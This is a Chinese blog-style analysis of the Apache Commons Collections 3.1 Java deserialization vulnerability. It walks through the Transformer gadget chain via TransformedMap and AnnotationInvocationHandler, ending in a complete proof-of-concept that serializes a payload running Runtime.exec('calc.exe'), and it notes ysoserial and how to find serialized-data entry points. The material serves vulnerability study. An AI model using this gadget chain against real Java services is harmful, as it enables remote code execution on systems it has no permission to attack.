溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Apache Commons Collections反序列化漏洞的示例分析

發(fā)布時(shí)間:2022-01-18 16:28:02 來源:億速云 閱讀:192 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章為大家展示了Apache Commons Collections反序列化漏洞的示例分析,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

一、簡(jiǎn)介

雖然網(wǎng)上已經(jīng)有很多文章對(duì)這個(gè)組件的反序列化漏洞進(jìn)行分析,但在這里還是記錄一下。畢竟,這對(duì)Java反序列化漏洞的發(fā)展意義重大。

Apache Commons Collections是Java應(yīng)用開發(fā)中一個(gè)非常常用的工具庫,它添加了許多強(qiáng)大的數(shù)據(jù)結(jié)構(gòu),簡(jiǎn)化了Java應(yīng)用程序的開發(fā),已經(jīng)成為Java處理集合數(shù)據(jù)的公認(rèn)標(biāo)準(zhǔn)。像許多常見的應(yīng)用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具庫,當(dāng)該工具庫出現(xiàn)反序列化漏洞時(shí),這些應(yīng)用也受到了影響,這也是反序列化漏洞如此嚴(yán)重的原因。

二、測(cè)試環(huán)境

jdk1.7.0_21 + commons-collections-3.1.jar

Apache Commons Collections組件歷史版本下載地址:http://archive.apache.org/dist/commons/collections/binaries/,或者使用maven依賴:

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

在Java反序列化漏洞利用工具ysoserial(https://github.com/frohoff/ysoserial)中已經(jīng)集成了該組件的漏洞利用payload;在滲透測(cè)試的時(shí)候,只需按照J(rèn)ava序列化數(shù)據(jù)的特征(以十六進(jìn)制aced或者base64編碼格式的rO0AB開頭的數(shù)據(jù))尋找Java反序列化的入口點(diǎn),并根據(jù)Web應(yīng)用猜測(cè)可能存在CommonsCollections組件,則可以直接使用ysoserial工具直接生成payload進(jìn)行漏洞利用。

Apache Commons Collections反序列化漏洞的示例分析

三、漏洞分析

這里分析利用Transformer接口以及實(shí)現(xiàn)該接口的幾個(gè)類構(gòu)造的代碼執(zhí)行漏洞利用鏈。

Transformer接口

Transformer接口的定義十分簡(jiǎn)單,只定義了一個(gè)transform()方法,根據(jù)文檔說明,該方法主要用于對(duì)象轉(zhuǎn)換。實(shí)現(xiàn)該接口的類還是挺多的,這里主要利用以下3個(gè)實(shí)現(xiàn)類:ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections;

public interface Transformer {
    //對(duì)象轉(zhuǎn)換
    public Object transform(Object input);
}

ChainedTransformer類

ChainedTransformer類定義了一個(gè)Transformer[]數(shù)組,并且在實(shí)現(xiàn)transform()方法的時(shí)候通過依次遍歷該數(shù)組元素,并調(diào)用數(shù)組元素對(duì)應(yīng)的Transformer實(shí)現(xiàn)類的transform()方法,將多個(gè)Transformer對(duì)象串起來。

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    ...
        
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

    ...
}

InvokerTransformer類

InvokerTransformer類的transform()方法主要通過反射機(jī)制調(diào)用傳入?yún)?shù)對(duì)象的某個(gè)方法,只需在構(gòu)造InvokerTransformer對(duì)象的時(shí)候設(shè)置方法名、參數(shù)類型和參數(shù)值即可。

public class InvokerTransformer implements Transformer, Serializable {
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    ...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //簡(jiǎn)化后的transform()方法,通過反射機(jī)制調(diào)用對(duì)象的方法
    public Object transform(Object input) {
        ...
        
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
                
        ...  
    }
}

ConstantTransformer類

ConstantTransformer類十分簡(jiǎn)單,直接返回傳入對(duì)象。

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }

    ...
}

根據(jù)上述情況,我們的目標(biāo)是構(gòu)造Runtime.getRuntime().exec()代碼執(zhí)行。很明顯,我們需要借助InvokerTransformer類中transform()方法實(shí)現(xiàn)反射調(diào)用。如下所示,這里即是代碼執(zhí)行的源頭:

package orz.vuln.poc;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
        //通過InvokeTransformer類反射調(diào)用Runtime代碼
		InvokerTransformer invoker1 = new InvokerTransformer("getMethod", 
				new Class[] {String.class, Class[].class}, 
				new Object[] {"getRuntime", null});
		InvokerTransformer invoker2 = new InvokerTransformer("invoke", 
				new Class[] {Object.class, Object[].class}, 
				new Object[] {null, null});
		InvokerTransformer invoker3 = new InvokerTransformer("exec", 
				new Class[] {String.class}, 
				new Object[] {"calc.exe"});
		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));
		
		/*正常反射調(diào)用Runtime代碼
		Class clazz = Runtime.class;
		Method m1 = clazz.getMethod("getRuntime", null);
		Method m2 = clazz.getMethod("exec", String.class);
		m2.invoke(m1.invoke(clazz, null), "calc.exe");
		*/
	}
}

更進(jìn)一步,我們發(fā)現(xiàn)可以借助ChainedTransformer類中的transform()方法代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))),即將上述多個(gè)InvokerTransformer對(duì)象初始化為Transformer[]數(shù)組,并且用Runtime.class初始化ConstantTransformer類對(duì)象,這樣,就能構(gòu)造出一條使用任意對(duì)象即可觸發(fā)代碼執(zhí)行的Transformer調(diào)用鏈:

package orz.vuln.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform("foo");
	}
}

接下來,我們希望通過反序列化觸發(fā)調(diào)用Transformer對(duì)象transform()方法,達(dá)到代碼執(zhí)行的目的。

TransformedMap類

Apache Commons Collections中定義了一個(gè)TransformedMap類用來對(duì)Map進(jìn)行某種變換,該類通過調(diào)用decorate()方法進(jìn)行實(shí)例化,如下所示:

Apache Commons Collections反序列化漏洞的示例分析

并且在該類中還有個(gè)checkSetValue()方法,在該方法中實(shí)現(xiàn)了調(diào)用Transformer對(duì)象的transform()方法;根據(jù)該方法描述,checkSetValue()方法將在setValue()方法調(diào)用的時(shí)候被調(diào)用:

Apache Commons Collections反序列化漏洞的示例分析

因此,我們的思路是通過利用Map對(duì)象和構(gòu)造的惡意Transformer對(duì)象初始化TransformedMap對(duì)象,再調(diào)用setValue()方法修改Map對(duì)象的值,代碼如下:

package orz.vuln.poc;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("foo", "bar");
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		entry.setValue("test");
	}
}

繼續(xù)尋找通過反序列化觸發(fā)setValue()方法執(zhí)行的地方,最后在AnnotationInvocationHandler類的readObject()方法中找到了。

AnnotationInvocationHandler類

AnnotationInvocationHandler類的readObject()方法如下所示:

Apache Commons Collections反序列化漏洞的示例分析

由于該類不提供公開的構(gòu)造方法進(jìn)行初始化,所以,我們通過反射調(diào)用該類的構(gòu)造方法,并使用惡意的TransformedMap對(duì)象進(jìn)行初始化,就可以生成攻擊payload。這里有個(gè)判斷條件需要滿足才能最終執(zhí)行entry.setValue()方法,即

Apache Commons Collections反序列化漏洞的示例分析

根據(jù)代碼溯源可知,clazz變量是一個(gè)注解子類對(duì)象的屬性值,如果要滿足clazz變量不為null的話,在Class clazz=map.get(str)中則需要滿足str是我們使用的注解類的屬性;在漏洞利用代碼中我們使用了java.lang.annotation.Target注解,而該注解只有一個(gè)屬性value,因此我們?cè)趍ap.put()時(shí),需要保證key的值是value。

Apache Commons Collections反序列化漏洞的示例分析

最終,完整漏洞利用代碼如下:

package orz.vuln.poc;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("value", "bar");//由于使用java.lang.annotation.Target,此處key值必須為value
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		//entry.setValue("test");
		
		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Target.class, transformedMap);
		
		FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");
		ObjectOutputStream oos = new ObjectOutputStream(fos);
		oos.writeObject(instance);
		oos.close();
		fos.close();
		
		FileInputStream fis = new FileInputStream("D:/commonscollections.ser");
		ObjectInputStream ois = new ObjectInputStream(fis);
		ois.readObject();
		ois.close();
		fis.close();
	}
}

上述內(nèi)容就是Apache Commons Collections反序列化漏洞的示例分析,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI